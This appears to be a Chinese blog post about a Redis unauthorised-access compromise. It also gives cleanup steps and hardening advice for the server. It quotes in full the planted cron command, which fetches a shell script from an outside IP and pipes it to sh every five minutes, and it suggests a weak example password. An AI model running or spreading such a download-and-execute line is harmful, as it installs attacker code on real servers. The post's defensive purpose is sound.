随便点开一个key,内容如下,
这是一个在 Linux 中使用 cron 运行的定时任务,其目的是从指定的 URL 下载并执行一个 shell 脚本。
了解 cron 和常见的时间表达式是理解这个任务的关键。这个任务中的时间表达式是“*/5 * * * *”,分别表示任务应该在每小时的第 0、5、10、15、…、55 分钟运行。
在 cron 中,每个时间字段都有一个特定的含义,以星号 (*) 的形式表示。每个时间字段的含义如下:
第一个字段是分钟(0 - 59)
第二个字段是小时(0 - 23)
第三个字段是日期(1 - 31)
第四个字段是月份(1 - 12)
第五个字段是星期几(0 - 6,0 表示星期日)
因此,这个任务的时间表达式表示“每小时的第 0、5、10、15、…、55 分钟运行”。
任务的实际命令是“wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh”,它执行了一个叫做“init.sh”的 shell 脚本,这个脚本的内容通过 HTTP 下载并传递给 shell 解释器进行执行。
在 Linux 中,cron 是一个非常常见的定时任务管理器,可以让用户在指定的时间或时间间隔内运行命令或脚本。通过 cron,用户可以轻松地管理自动化任务,例如自动备份文件,自动化测试或定期下载和更新软件包。
监控redis是否被定时任务执行了
发现redis里面的key,确实被定时任务清空了
redis的key消失,问题就是被上面的脚本给清空了,现在就是要找到这个执行这个cron的定时任务
使用命令:systemctl list-timers --all
来查出所有的定时任务
停止定时任务:sudo systemctl stop <定时任务名称>.timer
禁用定时任务:sudo systemctl disable <定时任务名称>.timer
最后,为了避免互联网可访问的服务器再次被黑,必须增加redis密码,来限制
找到redis的配置文件redis.conf
,增加requirepass @redis123
的密码
重新运行一个redis容器,
docker run -id \
-p 6379:6379 \
-v /home/docker/redis/redis.conf:/etc/redis/redis.conf \
-v /home/docker/redis/data:/data \
-e @redis123 \
--name redis \
redis:5.0.2 redis-server /etc/redis/redis.conf
总结:互联网可访问的服务器被黑客黑了,最好把服务器的防火墙开启,限制开放的端口,并且redis要加上密码
问题解析来源:
Redis 未授权访问漏洞分析 cleanfda 脚本复现漏洞挖矿 :https://www.renfei.net/posts/1003501
Redis扩散病毒之Redis数据丢失并设置backup:https://juejin.cn/post/7195199519624003642